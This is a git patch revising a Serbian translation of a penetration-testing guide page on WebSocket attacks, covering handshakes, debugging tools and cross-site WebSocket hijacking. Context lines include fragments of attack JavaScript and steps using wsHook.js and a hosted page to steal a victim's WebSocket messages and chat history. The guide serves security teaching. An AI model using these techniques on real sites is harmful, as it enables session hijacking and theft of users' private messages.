From bb5ab01e2fca539e658c35db5f40996fadbbb394 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:28:35 +0000 Subject: [PATCH] Translated ['src/pentesting-web/websocket-attacks.md'] to sr --- src/pentesting-web/websocket-attacks.md | 37 ++++++++++++++----------- 1 file changed, 21 insertions(+), 16 deletions(-) diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 355e8d263..a15cfc926 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -4,7 +4,7 @@ ## Šta su WebSocketi -WebSocket veze se uspostavljaju kroz inicijalni **HTTP** rukovanje i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka. +WebSocket veze se uspostavljaju kroz inicijalni **HTTP** handshake i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka. ### Uspostavljanje WebSocket veza @@ -16,7 +16,7 @@ Protokol `wss` označava WebSocket vezu obezbeđenu sa **TLS**, dok `ws` označa Tokom uspostavljanja veze, vrši se razmena poruka između pregledača i servera putem HTTP-a. Proces razmene uključuje slanje zahteva od strane pregledača i odgovor servera, kao što je prikazano u sledećim primerima: -Pregledač šalje zahtev za razmenu: +Pregledač šalje zahtev za razmenu poruka: ```javascript GET /chat HTTP/1.1 Host: normal-website.com @@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` -Odgovor servera na rukovanje: +Odgovor serverovog rukovanja: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade @@ -39,7 +39,7 @@ Veza ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja. - `Connection` i `Upgrade` zaglavlja signaliziraju inicijaciju WebSocket rukovanja. - `Sec-WebSocket-Version` zaglavlje označava željenu verziju WebSocket protokola, obično `13`. -- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša. +- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanim proxy-ima. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša. - `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je hash `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket vezu. Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu. @@ -68,27 +68,32 @@ Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https:/ ### Websocket Debug alati - **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju. -- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za podudaranje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.** +- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti da bolje upravljate Websocket komunikacijama u Burp-u dobijajući **istoriju**, postavljajući **pravila za presretanje**, koristeći **pravila za podudaranje i zamenu**, koristeći **Intruder** i **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera. - [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije. - [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **web za komunikaciju** sa drugim webovima koristeći **websockets.** +## Dešifrovanje Websocket + +- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) +- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) + ## Websocket Lab -U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje weba koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje. +U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje web-a koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje. -## Cross-site WebSocket otmica (CSWSH) +## Preuzimanje WebSocket-a sa drugih sajtova (CSWSH) -**Cross-site WebSocket otmica**, takođe poznata kao **cross-origin WebSocket otmica**, identifikovana je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera. +**Preuzimanje WebSocket-a sa drugih sajtova**, takođe poznato kao **cross-origin WebSocket hijacking**, identifikuje se kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih sigurnosnih mera. -Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu web stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, koristeći nedostatak CSRF zaštite u mehanizmu upravljanja sesijama. +Napadači mogu iskoristiti ovo tako što će hostovati **malicioznu web stranicu** koja pokreće cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijama. ### Jednostavan Napad -Imajte na umu da kada **uspostavljate** **websocket** vezu, **kolačić** se **šalje** serveru. **Server** može koristiti to da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**. +Napomena da kada se **uspostavlja** **websocket** veza, **kolačić** se **šalje** serveru. **Server** ga može koristiti da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**. -Tada, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**. +Zatim, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **pribavi** istoriju **razgovora**. ```html @@ -129,18 +134,18 @@ xhttp.send() return messageEvent } ``` -Sada preuzmite datoteku `wsHook.js` sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je unutar fascikle sa web datotekama**.\ +Sada preuzmite `wsHook.js` datoteku sa [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **sačuvajte je unutar fascikle sa web datotekama**.\ Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a: ```javascript sudo python3 -m http.server 80 ``` -## Uslovi trke +## Utrke uslova -Uslovi trke u WebSocket-ima su takođe prisutni, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets). +Utrke uslova u WebSocket-ima su takođe prisutne, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets). ## Druge ranjivosti -Pošto su WebSocket-i mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **WebSocket-i se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.** +Pošto su Web Sockets mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.** ## **WebSocket Smuggling**